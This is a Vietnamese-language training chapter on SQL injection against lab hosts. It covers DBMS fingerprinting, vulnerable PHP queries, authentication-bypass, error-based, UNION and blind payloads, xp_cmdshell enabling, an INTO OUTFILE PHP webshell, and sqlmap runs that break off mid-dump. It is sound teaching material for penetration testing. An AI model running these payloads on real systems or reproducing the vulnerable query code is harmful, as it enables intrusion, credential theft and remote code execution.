SQL Injection Attacks
SQL Injection Attacks
Từ nền tảng SQL và nhận diện DBMS đến khai thác thủ công, blind SQLi, code execution và tự động hóa bằng sqlmap.
Bản đồ nội dung Chương 10
SQL Theory & Databases
Ôn lại truy vấn SQL, luồng frontend–backend–database và khác biệt MySQL/MSSQL.
Manual SQL Exploitation
Nhận diện lỗi bằng quote/error, authentication bypass, UNION và blind SQLi.
Code Execution
Khai thác MSSQL với xp_cmdshell và MySQL với SELECT ... INTO OUTFILE.
Automation
Dùng sqlmap để nhận diện, dump dữ liệu và tạo os-shell từ request đã lưu.
Phương pháp làm việc xuyên suốt
SQL Theory and Databases
SQL Theory and Databases
Ôn lại SQL, hiểu luồng dữ liệu của web application và làm quen với đặc điểm MySQL/MSSQL.
Mục tiêu học tập
- Hiểu vai trò của SQL trong việc truy vấn, chèn, sửa và xóa dữ liệu trong relational database.
- Nhận diện cách frontend chuyển dữ liệu đến backend và cách backend tạo truy vấn database.
- Đọc cú pháp SQL cơ bản và hiểu rủi ro khi input được nối trực tiếp vào query.
- Kết nối, fingerprint và enumeration MySQL cùng Microsoft SQL Server.
SQL dùng để làm gì?
Query
Truy xuất dữ liệu theo bảng, cột và điều kiện.
Insert
Tạo bản ghi mới trong database.
Modify
Cập nhật dữ liệu đã tồn tại.
Delete
Xóa dữ liệu theo điều kiện.
OS Commands
Trong một số DBMS và điều kiện quyền phù hợp, SQL có thể dẫn đến thực thi lệnh hệ điều hành.
Luồng dữ liệu của web application
Các DBMS phổ biến
| DBMS | Đặc điểm trong chương | Điều cần nhớ |
|---|---|---|
| MySQL / MariaDB | Rất phổ biến trên web; MariaDB là fork mã nguồn mở của MySQL. | Hàm và cú pháp như version(), database(), INTO OUTFILE. |
| Microsoft SQL Server | Tích hợp sâu với Windows và dùng TDS. | Có thể dùng xp_cmdshell nếu được bật và có quyền. |
| PostgreSQL | Một DBMS phổ biến khác. | Cú pháp và hàm khác; không được giả định payload MySQL áp dụng nguyên dạng. |
| Oracle | DBMS doanh nghiệp phổ biến. | Có cú pháp, catalog và hành vi riêng. |
Giải phẫu một SELECT query
SELECT *
Yêu cầu trả về tất cả các cột.
FROM users
Chọn bảng users làm nguồn dữ liệu.
WHERE
Giới hạn bản ghi theo điều kiện.
user_name='leon'
Chỉ trả về bản ghi có username tương ứng.
Truy vấn bản ghi người dùng
SELECT * FROM users WHERE user_name='leon'SQL thường được nhúng trong backend
- Web application không yêu cầu người dùng nhập cả câu SQL; backend tạo query từ dữ liệu gửi lên.
- Username và password thường được lấy từ POST request rồi đưa vào query đăng nhập.
- Rủi ro xuất hiện khi dữ liệu không được kiểm tra hoặc parameterize trước khi query được thực thi.
- Khi query được tạo bằng string concatenation, ký tự quote có thể thay đổi cấu trúc cú pháp.
Query đăng nhập nhúng trong PHP
<?php
$uname = $_POST['uname'];
$passwd =$_POST['password'];
$sql_query = "SELECT * FROM users WHERE user_name= '$uname' AND password='$passwd'";
$result = mysqli_query($con, $sql_query);
?>Theo dõi dữ liệu trong đoạn PHP
Nguyên nhân gốc của lỗ hổng
- Input user_name và password được lấy trực tiếp từ request.
- Không có bước kiểm tra, escaping hoặc parameterized query trước khi ghép chuỗi.
- Ký tự đặc biệt do người dùng nhập có thể làm query cuối cùng khác với ý định của lập trình viên.
- Ứng dụng chuyển query đã bị thay đổi tới database với quyền của database connection.
Từ input bình thường đến input phá cú pháp
| Input | Query dự kiến | Ý nghĩa kiểm thử |
|---|---|---|
| leon | Tìm username leon. | Baseline hợp lệ. |
| leon'+!@#$ | Query nhận thêm quote và ký tự đặc biệt. | Có thể tạo syntax error hoặc thay đổi logic. |
| Payload SQL có cấu trúc | Query chứa toán tử, comment hoặc SELECT bổ sung. | Có thể xác minh SQLi. |
DB Types and Characteristics
DB Types and Characteristics
Khi chưa biết DBMS phía sau ứng dụng, cần chuẩn bị nhận diện cú pháp, hàm, catalog và đặc điểm riêng.
Tư duy khi chưa biết DBMS
- Không giả định một payload MySQL sẽ hoạt động nguyên dạng trên MSSQL, PostgreSQL hoặc Oracle.
- Quan sát error message, banner, response và hành vi của các hàm để fingerprint hệ thống.
- DBMS có thể chạy on-premise hoặc trong cloud; vị trí triển khai không làm mất khác biệt về cú pháp.
- Enumeration nên trả lời: phiên bản nào, user hiện tại là ai, có những database/table nào và quyền ra sao.
MySQL và MariaDB
- MySQL là một trong những DBMS được triển khai phổ biến nhất cho web application.
- MariaDB là một fork mã nguồn mở của MySQL và có nhiều điểm tương thích.
- Cổng mặc định trong ví dụ là TCP 3306.
- Chương sử dụng MySQL client trên Kali để kết nối trực tiếp và enumeration.
Tham số kết nối MySQL
| Thành phần | Giá trị trong ví dụ | Ý nghĩa |
|---|---|---|
| -u | root | Database username. |
| -p | 'root' | Password được cung cấp trực tiếp. |
| -h | 192.168.50.16 | Remote host. |
| -P | 3306 | TCP port của MySQL. |
Kết nối MySQL từ Kali
kali@kali:~$
mysql -u root -p'root' -h 192.168.50.16 -P 3306
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>Đọc kết quả kết nối MySQL
- Client thông báo implementation và cung cấp các lệnh trợ giúp như help;, \h và \c.
- Prompt MySQL [(none)]> xác nhận session đã sẵn sàng.
- Thông tin kết nối thành công là baseline để tiếp tục fingerprint version và user.
- Lỗi kết nối cần được phân biệt giữa network, port, TLS và credential.
Lấy phiên bản MySQL
MySQL [(none)]>
select version();
+-----------+
| version() |
+-----------+
|
8.0.21
|
+-----------+
1 row in set (0.107 sec)Vì sao version quan trọng?
Cú pháp
Một số hàm và hành vi thay đổi theo version.
Vulnerability research
Version giúp đối chiếu CVE hoặc tính năng đã biết.
Payload compatibility
Comment, function và file-write behavior có thể khác.
Báo cáo
Version là bằng chứng kỹ thuật cần ghi lại.
Xác định database user hiện tại
MySQL [(none)]>
select system_user();
+--------------------+
| system_user() |
+--------------------+
|
root@192.168.20.50
|
+--------------------+
1 row in set (0.104 sec)Ý nghĩa của system_user()
- Kết quả root@192.168.20.50 cho biết session sử dụng database user root.
- Phần hostname thể hiện nguồn hoặc pattern host được MySQL gắn với account.
- Quyền của database user quyết định khả năng đọc table, truy cập metadata hoặc ghi file.
- Database root không tự động có quyền root trên hệ điều hành.
Liệt kê các database MySQL
MySQL [(none)]>
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| test |
+--------------------+
5 rows in set (0.107 sec)Phân loại database MySQL
| Database | Vai trò thường gặp | Ưu tiên kiểm thử |
|---|---|---|
| information_schema | Metadata về tables, columns và schemas. | Rất hữu ích cho enumeration. |
| mysql | Account và cấu hình MySQL. | Nhạy cảm; cần quyền phù hợp. |
| performance_schema | Thông tin hiệu năng và instrumentation. | Có thể tiết lộ cấu hình/runtime. |
| sys | View thân thiện hơn trên performance_schema. | Thường là database hệ thống. |
| test | Database tùy môi trường. | Có thể chứa dữ liệu ứng dụng/lab. |
Truy vấn account offsec trong mysql.user
- Chọn hai trường user và authentication_string.
- Dùng WHERE user = 'offsec' để giới hạn đúng account.
- Truy vấn system table thường yêu cầu quyền cao hơn truy vấn dữ liệu ứng dụng.
- Giá trị trả về là representation đã hash, không phải plain-text password.
Xem authentication string của user
MySQL [mysql]>
SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec';
+--------+------------------------------------------------------------------------+
| user | authentication_string |
+--------+------------------------------------------------------------------------+
| offsec |
$A$005$?qvorPp8#lTKH1j54xuw4C5VsXe5IAa1cFUYdQMiBxQVEzZG9XWd/e6
|
+--------+------------------------------------------------------------------------+
1 row in set (0.106 sec)Hash không phải plain text
- Password hash là biểu diễn một chiều của mật khẩu ban đầu.
- Ứng dụng và DBMS lưu hash để tránh lưu mật khẩu rõ.
- Thu được hash vẫn là một finding nhạy cảm vì có thể dẫn đến credential recovery hoặc reuse.
- Trong báo cáo cần phân biệt rõ: hash bị lộ, plain-text bị lộ hay chỉ metadata bị lộ.
MSSQL trong hệ sinh thái Windows
- Microsoft SQL Server tích hợp tự nhiên với Windows.
- Windows có công cụ dòng lệnh SQLCMD để chạy query cục bộ hoặc từ xa.
- MSSQL sử dụng Tabular Data Stream (TDS) cho giao tiếp.
- Impacket cung cấp impacket-mssqlclient để tương tác TDS từ Kali.
Chuẩn bị kết nối MSSQL bằng Impacket
Kết nối MSSQL qua Impacket
kali@kali:~$
impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(SQL01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (SQLPLAYGROUND\Administrator dbo@master)>Đọc output kết nối MSSQL
- Client chuyển sang TLS vì server yêu cầu encryption.
- Database context ban đầu là master.
- Language và packet size được server thay đổi trong quá trình thiết lập session.
- Prompt chứa domain/máy, user, role/schema và database hiện tại.
Fingerprint MSSQL và Windows Server
SQL (SQLPLAYGROUND\Administrator dbo@master)>
SELECT @@version;
...
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
Sep 24 2019 13:48:23
Copyright (C) 2019 Microsoft Corporation
Express Edition (64-bit) on Windows Server 2022 Standard 10.0 <X64> (Build 20348: ) (Hypervisor)Cú pháp SQLCMD và TDS
- Trong sqlcmd, SQL statement thường kết thúc bằng dấu chấm phẩy rồi GO ở dòng riêng.
- GO là batch separator của client, không phải một phần của TDS protocol.
- Khi chạy query từ xa bằng Impacket, có thể bỏ GO.
- Đây là ví dụ cho thấy cùng MSSQL nhưng client/tool có thể thay đổi cách nhập lệnh.
Liệt kê database MSSQL
SQL (SQLPLAYGROUND\Administrator dbo@master)>
SELECT name FROM sys.databases;
name
...
master
tempdb
model
msdb
offsec
SQL>Database mặc định và database mục tiêu
| Database | Loại | Hướng xử lý |
|---|---|---|
| master | Mặc định | Chứa metadata cấp instance. |
| tempdb | Mặc định | Dữ liệu tạm thời. |
| model | Mặc định | Template cho database mới. |
| msdb | Mặc định | Agent, job, backup và metadata hệ thống. |
| offsec | Tùy biến | Ưu tiên khám phá vì có thể chứa dữ liệu ứng dụng. |
Liệt kê table trong offsec
SQL (SQLPLAYGROUND\Administrator dbo@master)>
SELECT * FROM offsec.information_schema.tables;
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
------------- ------------ ---------- ----------
offsec dbo users b'BASE TABLE'
SQL (SQLPLAYGROUND\Administrator dbo@master)> Cách định danh đối tượng MSSQL
offsec
Tên database.
dbo
Schema của object.
users
Tên table.
Đọc bản ghi users trên MSSQL
SQL>
select * from offsec.dbo.users;
username password
---------- ----------
admin lab
guest guest So sánh nhanh MySQL và MSSQL
| Hạng mục | MySQL | MSSQL |
|---|---|---|
| Client trong chương | mysql | impacket-mssqlclient |
| Port phổ biến | 3306 | 1433 |
| Version | version() / @@version | @@version |
| Metadata | information_schema | sys.databases, information_schema |
| Code execution trong chương | INTO OUTFILE + webshell | xp_cmdshell |
Checklist enumeration database
Bài thực hành của Learning Unit
MySQL enumeration
Kết nối và khám phá account offsec cùng plugin authentication.
MSSQL enumeration
Khám phá sysusers trong master database.
MySQL data discovery
Tìm database và table users trong phạm vi lab.
Manual SQL Exploitation
Manual SQL Exploitation
Nhận diện SQLi thủ công, authentication bypass, error-based, UNION-based và blind SQL injection.
Mục tiêu học tập
- Nhận diện SQL injection bằng input gây lỗi và payload có kiểm soát.
- Hiểu cơ chế authentication bypass.
- Xây payload UNION đáp ứng số cột và kiểu dữ liệu.
- Phân biệt boolean-based với time-based blind SQLi.
- Ghi lại bằng chứng và giới hạn của từng kỹ thuật.
Vì sao cần làm thủ công trước?
Hiểu cơ chế
Biết payload thay đổi query gốc như thế nào.
Giảm nhiễu
Thử một số input có chủ đích thay vì gửi hàng nghìn request.
Chọn kỹ thuật
Quyết định error, UNION, boolean hay time-based dựa trên phản hồi.
Báo cáo tốt hơn
Mô tả root cause và các bước tái hiện rõ ràng.
Identifying SQLi via Error-based Payloads
Identifying SQLi via Error-based Payloads
Từ code dễ tổn thương đến quote test, authentication bypass và khai thác error message để enumeration.
PHP code dễ bị SQL injection
<?php
$uname = $_POST['uname'];
$passwd =$_POST['password'];
$sql_query = "SELECT * FROM users WHERE user_name= '$uname' AND password='$passwd'";
$result = mysqli_query($con, $sql_query);
?>Tainted input đi vào query
Cơ chế comment trong payload
- Payload đóng quote của giá trị username.
- Thêm OR 1=1 để tạo điều kiện luôn đúng.
- Comment MySQL dùng hai dấu gạch ngang và cần ít nhất một whitespace phía sau.
- Tài liệu thêm // sau whitespace để payload dễ nhìn và giảm rủi ro whitespace truncation.
Payload authentication bypass
offsec' OR 1=1 -- //Query sau khi bị injection
SELECT * FROM users WHERE
user_name= 'offsec' OR 1=1
--Vì sao authentication bypass hoạt động?
Trang đăng nhập của lab
- Thiết lập baseline với username/password không hợp lệ.
- Quan sát thông báo và trạng thái trước khi thay đổi input.
- Không suy luận SQLi chỉ từ giao diện; cần phản hồi khác biệt.
Baseline: mật khẩu không hợp lệ
- Ứng dụng trả về Invalid Password cho cặp credential sai.
- Baseline này dùng để so sánh với quote test và payload bypass.
- Ghi lại URL, method, parameter và response.
Quote test trước khi khai thác
- Thêm một dấu quote đơn vào trường Username.
- Gửi request và so sánh phản hồi với baseline.
- Syntax error là dấu hiệu input đã ảnh hưởng tới SQL parser.
- Không phải ứng dụng production nào cũng hiển thị database error; lỗi có thể bị che.
Chèn quote vào Username
- Quote đơn được thêm sau username.
- Mục tiêu là phá cấu trúc chuỗi SQL.
- Không cần dùng payload phức tạp ở bước đầu.
SQL syntax error xác nhận tương tác
- Phản hồi khác baseline.
- Error message tiết lộ SQL parser đã nhận input.
- Ứng dụng production thường tắt SQL debugging.
In-band SQL injection
- In-band nghĩa là kết quả query hoặc database error xuất hiện trong phản hồi ứng dụng.
- Trong lab, SQL debugging được bật để minh họa cơ chế.
- Trong môi trường thực, error có thể được thay bằng thông báo chung.
- Khi error bị che, cần chuyển sang UNION, boolean hoặc time-based tùy hành vi.
Gửi payload bypass trong form
- Payload được đặt trong trường Username.
- Password có thể là giá trị bất kỳ vì phần kiểm tra bị comment.
- Giữ nguyên các thành phần khác để cô lập biến thử nghiệm.
Authentication Successful
- Phản hồi khác hoàn toàn baseline.
- Payload đã thay đổi logic WHERE clause.
- Đây là bằng chứng tác động, không chỉ là lỗi cú pháp.
Error-based payload lấy version
' or 1=1 in (
select @@version
) -- //Đọc kết quả version từ error
- MySQL chấp nhận cả version() và @@version.
- Trong lab, version 8.0.28 được phản chiếu cùng error message.
- Khi database value xuất hiện, có thể tiếp tục query dữ liệu có chọn lọc.
- Không nên dump dữ liệu rộng hơn mức cần thiết để chứng minh finding.
Thử SELECT * trong subquery
- Payload tiếp theo cố lấy toàn bộ cột của table users.
- Subquery trong ngữ cảnh này cần trả về một giá trị đơn.
- Nếu query trả nhiều cột, database báo lỗi.
- Error đó hướng dẫn ta thu hẹp xuống từng cột.
Thử lấy toàn bộ table users
' OR 1=1 in (
SELECT * FROM users
) -- //Chỉ truy vấn cột password
' or 1=1 in (
SELECT password FROM users
) -- //Các password hash được trả về
- Chuyển từ SELECT * sang một cột đã vượt qua lỗi số cột.
- Nhiều hash được trả về nhưng chưa gắn với username.
- Bằng chứng hữu ích nhưng chưa đủ ngữ cảnh.
Giới hạn hash theo username admin
' or 1=1 in (
SELECT password FROM users WHERE username = 'admin'
) -- //Lấy hash của admin có chọn lọc
- Payload trả về hash gắn với account admin.
- Kết quả có thể tái hiện và dễ mô tả trong báo cáo.
- Không cần lấy toàn bộ dữ liệu để chứng minh impact.
Workflow error-based SQLi
Notes cho một finding SQLi
UNION-based Payloads
UNION-based Payloads
Kết hợp SELECT bổ sung với query gốc để đưa dữ liệu database vào cùng response của ứng dụng.
UNION giúp làm gì?
- UNION nối kết quả của hai câu SELECT thành một result set.
- Trong SQLi in-band, dữ liệu từ query chèn thêm có thể xuất hiện trong bảng hoặc giao diện hiện có.
- Kỹ thuật này cần hiểu cấu trúc query gốc và vị trí các cột được render.
- Không phải mọi cột đều hiển thị; một số có thể bị ứng dụng bỏ qua.
Hai điều kiện bắt buộc
Cùng số cột
SELECT chèn thêm phải trả đúng số cột như query gốc.
Kiểu dữ liệu tương thích
Giá trị tại từng vị trí cột phải tương thích với query gốc.
Query tìm kiếm dễ tổn thương
$query = "SELECT * from customers WHERE name LIKE '".$_POST["search_input"]."%'";Vai trò của LIKE và %
- LIKE so khớp chuỗi theo pattern.
- Ký tự % đại diện cho 0 hoặc nhiều ký tự.
- Ứng dụng tìm customer có name bắt đầu bằng input.
- Payload phải đóng quote của pattern trước khi thêm UNION hoặc ORDER BY.
Customer Search Portal
- Nhấn SEARCH không có input để xem dữ liệu baseline.
- Giao diện có thể hiển thị bốn trường nhưng table gốc có thể nhiều cột hơn.
- Ghi lại vị trí cột nào được render.
Tìm số cột bằng ORDER BY
Payload ORDER BY đầu tiên
' ORDER BY 1-- //Xác định chính xác 5 cột
- ORDER BY tăng dần cho tới khi response lỗi.
- Không dựa vào số trường nhìn thấy trên trang.
- Kết quả chuẩn bị cho UNION SELECT năm giá trị.
Lập kế hoạch UNION đầu tiên
| Vị trí | Giá trị thử | Mục đích |
|---|---|---|
| 1 | database() | Tên database hiện tại. |
| 2 | user() | Database user. |
| 3 | @@version | Version MySQL. |
| 4 | null | Giữ số cột và tránh type mismatch. |
| 5 | null | Giữ số cột và tránh type mismatch. |
UNION enumeration lần đầu
%' UNION SELECT database(), user(), @@version, null, null -- //Một giá trị không xuất hiện
- Username và version xuất hiện ở dòng cuối.
- Tên database ở cột đầu không được hiển thị.
- Cột đầu có thể là ID kiểu integer hoặc bị frontend bỏ qua.
Vì sao cột đầu thất bại?
- Query gốc thường dùng cột 1 cho ID kiểu integer.
- Chuỗi trả về từ database() có thể không tương thích.
- Ứng dụng cũng có thể cố ý không render ID vì không hữu ích cho người dùng.
- Giải pháp là chuyển các function sang cột khác và dùng NULL ở vị trí không phù hợp.
Dịch các giá trị sang cột phù hợp
' UNION SELECT null, null, database(), user(), @@version -- //Ba giá trị được trả về đầy đủ
- Database hiện tại là offsec.
- User và version cũng hiển thị đúng.
- Các vị trí cột render chuỗi đã được xác định.
Enumeration information_schema
- information_schema.columns chứa metadata về table và column.
- Lọc table_schema=database() để chỉ xem schema hiện tại.
- Đưa table_name, column_name và table_schema vào các cột hiển thị.
- Mục tiêu là tìm table/column ứng dụng trước khi truy vấn dữ liệu.
Liệt kê table và column của database hiện tại
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //Cấu trúc database được dump
- Output xác nhận vị trí ba trường metadata.
- Table users được phát hiện.
- Các column gồm username, password và description.
Từ metadata đến dữ liệu
Dump dữ liệu table users
' UNION SELECT null, username, password, description, null FROM users -- //Usernames và MD5 hashes được hiển thị
- UNION payload trả về toàn bộ rows của table users.
- Có tài khoản administrative trong dữ liệu.
- Hash MD5 không phải plain-text nhưng vẫn là dữ liệu xác thực nhạy cảm.
Workflow UNION-based SQLi
Lỗi thường gặp với UNION
| Lỗi | Biểu hiện | Cách xử lý |
|---|---|---|
| Sai số cột | Database error hoặc response trắng. | Dò count bằng ORDER BY. |
| Type mismatch | Một số vị trí không hiện hoặc query lỗi. | Dùng NULL và chuyển chuỗi sang cột khác. |
| Cột không render | Query chạy nhưng giá trị không thấy. | Thử từng vị trí hiển thị. |
| Comment sai | Phần query sau payload gây syntax error. | Kiểm tra DBMS và whitespace. |
| Đoán table | Mất thời gian hoặc bỏ sót. | Dùng information_schema. |
Blind SQL Injections
Blind SQL Injections
Khi database output không được trả trực tiếp, suy luận kết quả qua logic boolean hoặc thời gian phản hồi.
In-band và blind SQLi
| Đặc điểm | In-band | Blind |
|---|---|---|
| Database output | Xuất hiện trực tiếp hoặc qua error. | Không xuất hiện trực tiếp. |
| Kênh suy luận | Nội dung response. | Behavior của ứng dụng hoặc thời gian. |
| Kỹ thuật | Error-based, UNION-based. | Boolean-based, time-based. |
| Tốc độ | Thường nhanh hơn. | Có thể rất chậm. |
| Automation | Hữu ích nhưng chưa bắt buộc. | Thường cần công cụ khi enumeration sâu. |
Boolean-based blind SQLi
- Chèn điều kiện TRUE hoặc FALSE vào query.
- Ứng dụng trả hai phản hồi dự đoán được tương ứng với kết quả.
- Tín hiệu có thể là nội dung, status, độ dài hoặc một phần giao diện.
- Có thể xây từng câu hỏi yes/no để enumeration dữ liệu.
Time-based blind SQLi
- Database được yêu cầu chờ một khoảng thời gian nếu điều kiện đúng.
- Người kiểm thử suy luận TRUE/FALSE dựa trên latency.
- Network jitter và server load có thể tạo false conclusion.
- Nên lặp lại nhiều lần và dùng threshold hợp lý.
Ứng dụng blind SQLi trong lab
- Endpoint nhận parameter user trên URL.
- Trang hiển thị Username, Password Hash và Description cho user hiện tại.
- Parameter mặc định là offsec sau khi đăng nhập.
Quan sát parameter user
- URL có dạng blindsqli.php?user=offsec.
- Backend dùng parameter để query record người dùng.
- Đây là vị trí input cần thử điều kiện boolean.
- Giữ session/cookie hợp lệ vì endpoint yêu cầu đăng nhập.
Boolean condition luôn đúng
http://192.168.50.16/blindsqli.php?user=offsec
' AND 1=1 -- //Cách suy luận boolean
Time-based condition
http://192.168.50.16/blindsqli.php?user=offsec
' AND IF (1=1, sleep(3),'false') -- //Cách đọc time-based payload
IF (1=1, ... )
Điều kiện trong payload luôn đúng.
sleep(3)
Yêu cầu database trì hoãn ba giây.
'false'
Nhánh khác khi điều kiện không đúng.
Response time
Delay cho biết query đã thực thi theo nhánh TRUE.
Khi nào nên dùng sqlmap?
- Đã xác minh thủ công parameter có dấu hiệu SQLi.
- Blind enumeration thủ công trở nên quá chậm hoặc lặp lại.
- Phạm vi cho phép traffic tự động và độ ồn của công cụ.
- Đã lưu baseline, payload và session/cookie để kiểm soát tool.
Bài thực hành của Learning Unit
Authentication bypass
Tái hiện payload và xác định biến PHP chứa input.
UNION-based
Đáp ứng số cột và data type compatibility.
Blind SQLi
Tái hiện boolean/time-based và xác định kênh suy luận.
Manual and Automated Code Execution
Manual and Automated Code Execution
Từ SQL injection đến thực thi lệnh: MSSQL xp_cmdshell, MySQL INTO OUTFILE và tự động hóa bằng sqlmap.
Mục tiêu học tập
- Hiểu điều kiện để SQLi dẫn đến đọc/ghi file hoặc code execution.
- Bật và sử dụng xp_cmdshell trên MSSQL trong lab.
- Ghi PHP webshell bằng SELECT ... INTO OUTFILE trên MySQL.
- Dùng sqlmap để tìm injection point, dump dữ liệu và tạo OS shell.
- Nhận diện giới hạn về quyền, filesystem, latency và stealth.
Điều kiện để đi từ SQLi đến RCE
| Điều kiện | MSSQL | MySQL trong chương |
|---|---|---|
| Database capability | xp_cmdshell có thể gọi command shell. | Không có một hàm đơn tương đương trong ví dụ. |
| Configuration | Feature phải được bật. | Dùng INTO OUTFILE. |
| Privileges | Database user phải có quyền cấu hình/thực thi. | Database service user phải có quyền ghi. |
| Filesystem | Không phải điều kiện chính của whoami. | Cần biết web root writable. |
| Application path | Không bắt buộc để chạy command. | Cần URL truy cập file webshell. |
Manual Code Execution
Manual Code Execution
Điều chỉnh chiến lược theo DBMS: xp_cmdshell trên MSSQL và file write/webshell trên MySQL.
xp_cmdshell hoạt động thế nào?
- xp_cmdshell nhận một string và chuyển cho Windows command shell.
- Output của command được trả về dưới dạng các dòng text.
- Feature bị tắt mặc định.
- Sau khi bật, gọi bằng EXECUTE thay vì SELECT.
- Database account phải có quyền cấu hình và thực thi.
Bật show advanced options và xp_cmdshell
kali@kali:~$
impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
...
SQL>
EXECUTE sp_configure 'show advanced options', 1;
[*] INFO(SQL01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL>
RECONFIGURE;
SQL>
EXECUTE sp_configure 'xp_cmdshell', 1;
[*] INFO(SQL01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL>
RECONFIGURE;Trình tự cấu hình xp_cmdshell
Thực thi whoami qua xp_cmdshell
SQL>
EXECUTE xp_cmdshell 'whoami';
output
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
nt service\mssql$sqlexpress
NULLĐọc security context của xp_cmdshell
- Command không chạy dưới user tương tác trên Kali.
- Output cho biết process sử dụng service identity của SQL Server.
- Quyền hệ điều hành của service account quyết định tác động thực tế.
- Tên account có quyền thấp vẫn có thể truy cập file/network tùy cấu hình.
MySQL: từ query đến file write
- Các MySQL variant trong chương không cung cấp một hàm RCE đơn tương tự xp_cmdshell.
- SELECT ... INTO OUTFILE có thể ghi nội dung query ra file.
- Đường dẫn đích phải writable với OS user chạy database service.
- Nếu ghi vào web root, file PHP có thể được web server thực thi.
Thiết kế payload webshell
Ghi webshell bằng INTO OUTFILE
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //Nội dung PHP webshell
<? system($_REQUEST['cmd']); ?>Payload ghi webshell được gửi
- Ứng dụng có thể báo lỗi do return type không phù hợp.
- Lỗi response không nhất thiết có nghĩa thao tác ghi file thất bại.
- Cần xác minh file tồn tại qua request riêng.
Không nhầm error với thất bại hoàn toàn
- UNION query có thể gặp lỗi khi render result nhưng INTO OUTFILE đã được xử lý.
- Đánh giá chỉ dựa trên thông báo ứng dụng có thể tạo false negative.
- Xác minh độc lập bằng cách truy cập URL file hoặc kiểm tra filesystem nếu có quyền.
- Không gửi lại payload ghi file nhiều lần vì file tồn tại có thể gây lỗi khác.
Truy cập webshell và chạy id
- URL gọi file trong thư mục tmp.
- Parameter cmd chứa lệnh id.
- Output cho thấy execution identity là www-data.
Checklist manual code execution
Automating the Attack
Automating the Attack
Dùng sqlmap để xác minh injection point, dump dữ liệu và tạo OS shell từ URL hoặc raw HTTP request.
sqlmap làm được gì?
Identify
Thử nhiều kỹ thuật SQLi và fingerprint backend DBMS.
Enumerate
Liệt kê/dump database, table và records.
Fingerprint
Nhận diện OS, web stack và database.
OS Shell
Tận dụng file write hoặc DBMS capability để tạo shell.
Lệnh sqlmap đầu tiên
| Tùy chọn | Giá trị | Ý nghĩa |
|---|---|---|
| -u | URL đầy đủ | Target URL cần kiểm thử. |
| -p | user | Chỉ định parameter cần test. |
| Giá trị parameter | 1 | Dummy value để tạo request. |
| Prompt tương tác | Default | Theo tài liệu chọn các giá trị mặc định. |
sqlmap tìm time-based blind SQLi
kali@kali:~$
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user
___
__H__
___ ___[,]_____ ___ ___ {1.6.4#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
...
[*] starting @ 02:14:54 PM /2022-05-16/
[14:14:54] [INFO] resuming back-end DBMS 'mysql'
[14:14:54] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.50.16:80/login1.php?msg=2'. Do you want to follow? [Y/n]
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=fbf1f5fa5fc...a7266cba36'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=1' AND (SELECT 1582 FROM (SELECT(SLEEP(5)))dTzB) AND 'hiPB'='hiPB
---
[14:14:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, PHP 7.3.33, Apache 2.4.52
back-end DBMS: MySQL >= 5.0.12
[14:14:57] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.50.16'
[*] ending @ 02:14:57 PM /2022-05-16/Cách đọc output sqlmap
- Tool gặp redirect tới trang login và hỏi có follow hay không.
- Server muốn đặt PHPSESSID; session state ảnh hưởng khả năng kiểm thử.
- Injection point được xác định là parameter user trong GET.
- Type là time-based blind với payload dùng SLEEP.
- Fingerprint gồm OS web server, web technology và backend DBMS.
Độ ồn và stealth
- sqlmap có thể gửi lượng request lớn.
- Traffic dễ bị WAF, IDS hoặc application logging phát hiện.
- Không dùng làm lựa chọn đầu tiên khi assignment yêu cầu low-profile.
- Giới hạn kỹ thuật, level/risk và parameter theo phạm vi để giảm traffic.
Dump database bằng --dump
kali@kali:~$
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump
...
[*] starting @ 02:23:49 PM /2022-05-16/
[14:23:49] [INFO] resuming back-end DBMS 'mysql'
[14:23:49] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.50.16:80/login1.php?msg=2'. Do you want to follow? [Y/n]
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=b7c9c962b85...c6c7205dd1'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=1' AND (SELECT 1582 FROM (SELECT(SLEEP(5)))dTzB) AND 'hiPB'='hiPB
---
[14:23:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, Apache 2.4.52, PHP 7.3.33
back-end DBMS: MySQL >= 5.0.12
